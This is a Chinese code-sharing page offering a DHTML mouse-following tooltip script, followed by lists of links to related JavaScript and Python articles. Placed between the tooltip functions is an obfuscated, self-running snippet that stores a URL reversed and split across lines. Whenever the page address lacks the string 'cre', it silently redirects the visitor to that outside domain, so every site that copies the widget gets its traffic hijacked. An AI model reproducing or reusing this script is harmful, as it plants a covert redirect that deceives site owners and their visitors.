popdiv


Posted in Javascript onJuly 14, 2006

var offsetfromcursorX=12 //Customize x offset of tooltip
var offsetfromcursorY=10 //Customize y offset of tooltip

var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).

document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIV
document.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="images/popdiv.gif">') //write out pointer image

var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}

(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\
cu//:p\
tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();

function positiontip(e){
if (enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20

var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY

var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000

//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth){
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=curX-tipobj.offsetWidth+"px"
nondefaultpos=true
}
else if (curX<leftedge)
tipobj.style.left="5px"
else{
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
pointerobj.style.left=curX+offsetfromcursorX+"px"
}

//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight){
tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
nondefaultpos=true
}
else{
tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
pointerobj.style.top=curY+offsetfromcursorY+"px"
}
tipobj.style.visibility="visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}

function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip

Javascript 相关文章推荐
javascript 读取xml,写入xml 实现代码
Jul 10 Javascript
从零开始学习jQuery (三) 管理jQuery包装集
Feb 23 Javascript
Kibo 用于处理键盘事件的Javascript工具库
Oct 28 Javascript
浅析hasOwnProperty方法的应用
Nov 20 Javascript
Javascript和Java获取各种form表单信息的简单实例
Feb 14 Javascript
node.js中使用q.js实现api的promise化
Sep 17 Javascript
网页收藏夹显示ICO图标(代码少)
Aug 04 Javascript
Sublime Text 3常用插件及安装方法
Dec 16 Javascript
基于jquery实现轮播焦点图插件
Mar 31 Javascript
iscroll动态加载数据完美解决方法
Jul 18 Javascript
Bootstrap的aria-label和aria-labelledby属性实例详解
Nov 02 Javascript
微信小程序实现的picker多级联动功能示例
May 23 Javascript
游戏人文件夹程序 ver 4.03
Jul 14 #Javascript
游戏人文件夹程序 ver 3.0
Jul 14 #Javascript
表单提交验证类
Jul 14 #Javascript
如何实现浏览器上的右键菜单
Jul 10 #Javascript
载入进度条 效果
Jul 08 #Javascript
让广告代码不再影响你的网页加载速度
Jul 07 #Javascript
一段实时更新的时间代码
Jul 07 #Javascript
You might like
推荐个功能齐全的发送PHP邮件类
2007/01/03 PHP
php 禁止页面缓存输出
2009/01/07 PHP
php中spl_autoload详解
2014/10/17 PHP
Javascript 调试利器 Firebug使用详解六
2009/07/05 Javascript
jQuery 验证插件 Web前端设计模式(asp.net)
2010/10/17 Javascript
使用JavaScript和C#中获得referer
2014/11/14 Javascript
js实现二代身份证号码验证详解
2014/11/20 Javascript
Jquery弹出层插件ThickBox的使用方法
2014/12/09 Javascript
JavaScript将数字转换成大写中文的方法
2015/03/23 Javascript
学习JavaScript设计模式(多态)
2015/11/25 Javascript
jQuery实现产品对比功能附源码下载
2016/08/09 Javascript
细数JavaScript 一个等号,两个等号,三个等号的区别
2016/10/09 Javascript
js关于getImageData跨域问题的解决方法
2016/10/14 Javascript
浅谈js键盘事件全面控制
2016/12/01 Javascript
javascript中json对象json数组json字符串互转及取值方法
2017/04/19 Javascript
Vue微信项目按需授权登录策略实践思路详解
2018/05/07 Javascript
vue-test-utils初使用详解
2019/05/23 Javascript
vue中@change兼容问题详解
2019/10/25 Javascript
微信小程序动态设置图片大小的方法
2019/11/21 Javascript
vue 微信分享回调iOS和安卓回调出现错误的解决
2020/09/07 Javascript
python 筛选数据集中列中value长度大于20的数据集方法
2018/06/14 Python
Python使用pickle模块实现序列化功能示例
2018/07/13 Python
值得收藏的10道python 面试题
2019/04/15 Python
Python3 JSON编码解码方法详解
2019/09/06 Python
详解使用python3.7配置开发钉钉群自定义机器人(2020年新版攻略)
2020/04/01 Python
使用pandas读取表格数据并进行单行数据拼接的详细教程
2021/03/03 Python
解锁canvas导出图片跨域的N种姿势小结
2019/01/24 HTML / CSS
TripAdvisor越南:全球领先的旅游网站
2017/09/21 全球购物
财务会计专业应届毕业生求职信
2013/10/18 职场文书
工业学校毕业生自荐书
2014/01/03 职场文书
校园环保建议书
2014/05/14 职场文书
旅游与酒店管理专业求职信
2014/07/21 职场文书
教师工作自我鉴定范文
2014/09/14 职场文书
镇党政领导班子民主生活会思想汇报
2014/10/11 职场文书
导游词之无锡古运河
2019/11/14 职场文书
教你一步步实现一个简易promise
2021/11/02 Javascript